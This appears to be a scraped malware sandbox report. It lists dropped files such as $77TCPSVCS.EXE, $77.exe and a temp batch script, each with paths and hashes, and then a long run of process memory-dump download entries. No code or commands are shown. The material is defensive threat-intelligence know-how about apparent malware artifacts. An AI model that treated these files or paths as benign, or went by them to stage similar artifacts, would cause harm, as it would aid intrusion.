
Path C:\Users\Admin\AppData\Local\Temp\$77TCPSVCS.EXE
Size 39KB
SHA256 e9db26ffe8f05c133a7c541ccd7eafa63b64806a84e4e5866fc735e5dc4ab93d
MD5 39b931afd01be1f696c515a83b789445
SHA1 790083c555276c9cca5bf7a9532fd99f79b80a90
SHA512 0961ea8fa2b23f2c2631db074a2271d37bec1844496796ec116c649245423b7e7da29b9a626c3c6406a65f9812550f09f089babee9fe805dcf311f6d7bda9592
SSDEEP 768:fBqaucezFbXdX4LlIxX7Fg9OyBgOQhIvvZrG:ZqrxvLFg9Oy2OQmX8
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_gkt5jl0d.scx.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gkt5jl0d.scx.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

tmp3A4A.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmp3A4A.tmp.bat
Size 147B
SHA256 ca2f06b299c956c8948c0314c727a5525cdbe1d1d5aaff941ce094323600cbdc
MD5 c630a7bf8ae2a8a9838a3fae488637e9
SHA1 4e8c41e116f6e12d571d874023543d84d08cb48d
SHA512 07e92eacaf53a0ea4400d1f998b0d2630736f57ad69fbc5396b037bfa3a34fd47aef9a5debf36f1304f1902e60a0333df4120ffe3acfd00a848fbe4e98a13398
MD5 SHA1 SHA512

Submit Download

$77.exe

Path C:\Users\Admin\AppData\Roaming\$77.exe
Size 63KB
SHA256 9d08a2533a1245b6bd3c197eded5cf142994953e5a87fc58798ddcd858a9020b
MD5 3c9c80429dc216fc3abb76a3fa7a4799
SHA1 7c93624f570c501c41ac9cf054f7750ab7561d62
SHA512 26ae8a460785787b980a75e107eb55d8abd0908d1f445a29da074946b80c034fb47f0ed8ee8cfcb2ec06c044a05e40864103a22d13aea090944fa2313c7833c6
SSDEEP 1536:mWYCJM6ckW1P/hyL/ZTcLeUbJ60DzqdKzdpqKmY7:mWYyNcuAeUbJBJGz
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/8-103-0x000002A4DAE30000-0x000002A4DAE5A000-memory.dmp

Download

memory/8-102-0x000002A4DA1E0000-0x000002A4DA1F0000-memory.dmp

Download

memory/8-100-0x000002A4DA1E0000-0x000002A4DA1F0000-memory.dmp

Download

memory/8-104-0x00007FFACDF30000-0x00007FFACE125000-memory.dmp

Download

memory/8-90-0x000002A4DA1E0000-0x000002A4DA1F0000-memory.dmp

Download

memory/8-89-0x00007FFAAFC80000-0x00007FFAB0741000-memory.dmp

Download

memory/8-105-0x00007FFACD630000-0x00007FFACD6EE000-memory.dmp

Download

memory/8-118-0x00007FFAAFC80000-0x00007FFAB0741000-memory.dmp

Download

memory/332-155-0x00000196E32C0000-0x00000196E32EB000-memory.dmp

Download

memory/332-192-0x00007FFACDFCF000-0x00007FFACDFD0000-memory.dmp

Download

memory/388-168-0x000001E537940000-0x000001E53796B000-memory.dmp

Download

memory/596-121-0x00000237EBE00000-0x00000237EBE25000-memory.dmp

Download

memory/596-123-0x00000237EC250000-0x00000237EC27B000-memory.dmp

Download

memory/596-122-0x00000237EC250000-0x00000237EC27B000-memory.dmp

Download

memory/596-132-0x00000237EC250000-0x00000237EC27B000-memory.dmp

Download

memory/596-138-0x00007FFACDFCD000-0x00007FFACDFCE000-memory.dmp

Download

memory/672-151-0x000001BC38540000-0x000001BC3856B000-memory.dmp

Download

memory/672-135-0x000001BC38540000-0x000001BC3856B000-memory.dmp

Download

memory/672-157-0x00007FFACDFCD000-0x00007FFACDFCE000-memory.dmp

Download

memory/672-156-0x00007FFA8DFB0000-0x00007FFA8DFC0000-memory.dmp

Download

memory/696-174-0x0000021116CF0000-0x0000021116D1B000-memory.dmp

Download

memory/952-175-0x00000222477A0000-0x00000222477CB000-memory.dmp

Download

memory/952-145-0x00000222477A0000-0x00000222477CB000-memory.dmp

Download

memory/952-182-0x00007FFACDFCC000-0x00007FFACDFCD000-memory.dmp

Download

memory/1656-5-0x00007FFACDF30000-0x00007FFACE125000-memory.dmp

Download

memory/1656-2-0x000000001B2C0000-0x000000001B2D0000-memory.dmp

Download

memory/1656-0-0x0000000000780000-0x0000000000796000-memory.dmp

Download

memory/1656-9-0x00007FFACDF30000-0x00007FFACE125000-memory.dmp

Download

memory/1656-1-0x00007FFAAFEC0000-0x00007FFAB0981000-memory.dmp

Download

memory/1656-8-0x00007FFAAFEC0000-0x00007FFAB0981000-memory.dmp

Download

memory/1932-107-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/1932-117-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/1932-108-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/1932-112-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/1932-114-0x00007FFACD630000-0x00007FFACD6EE000-memory.dmp

Download

memory/1932-113-0x00007FFACDF30000-0x00007FFACE125000-memory.dmp

Download

memory/1932-110-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/1932-106-0x0000000140000000-0x0000000140008000-memory.dmp

Download

memory/2404-43-0x00007FFACDF30000-0x00007FFACE125000-memory.dmp

Download

memory/2404-41-0x00007FFAAFC80000-0x00007FFAB0741000-memory.dmp

Download

memory/2404-136-0x00007FFACDF30000-0x00007FFACE125000-memory.dmp

Download

memory/2404-101-0x00007FFAAFC80000-0x00007FFAB0741000-memory.dmp

Download

memory/2404-217-0x00007FFACDF30000-0x00007FFACE125000-memory.dmp

Download

memory/2404-130-0x000000001BAC0000-0x000000001BAD0000-memory.dmp

Download

memory/2404-42-0x000000001BAC0000-0x000000001BAD0000-memory.dmp

Download

memory/2404-213-0x00007FFAAFC80000-0x00007FFAB0741000-memory.dmp

Download

memory/3656-34-0x00007FFAAFC80000-0x00007FFAB0741000-memory.dmp

Download

memory/3656-35-0x0000014F4AD50000-0x0000014F4AD60000-memory.dmp

Download

memory/3656-36-0x0000014F4AD50000-0x0000014F4AD60000-memory.dmp

Download

memory/3656-60-0x00007FFAAFC80000-0x00007FFAB0741000-memory.dmp

Download

memory/3656-37-0x0000014F646F0000-0x0000014F64C18000-memory.dmp

Download

memory/4360-65-0x00007FFAAFC80000-0x00007FFAB0741000-memory.dmp

Download

memory/4360-20-0x000001AF419F0000-0x000001AF41A12000-memory.dmp

Download

memory/4360-23-0x000001AF41030000-0x000001AF41040000-memory.dmp

Download

memory/4360-24-0x000001AF420D0000-0x000001AF42292000-memory.dmp

Download

memory/4360-21-0x00007FFAAFC80000-0x00007FFAB0741000-memory.dmp

Download

memory/4360-22-0x000001AF41030000-0x000001AF41040000-memory.dmp

Download

memory/5064-87-0x00007FFAAFC80000-0x00007FFAB0741000-memory.dmp

Download

memory/5064-61-0x0000000000D60000-0x0000000000D94000-memory.dmp

Download

memory/5064-59-0x00007FFAAFC80000-0x00007FFAB0741000-memory.dmp

Download

memory/5096-88-0x00007FFAAFC80000-0x00007FFAB0741000-memory.dmp

Download

memory/5096-169-0x00007FFAAFC80000-0x00007FFAB0741000-memory.dmp

Download

memory/5096-214-0x00007FFAAFC80000-0x00007FFAB0741000-memory.dmp

Download

memory/5096-86-0x0000000000CE0000-0x0000000000CF0000-memory.dmp

Download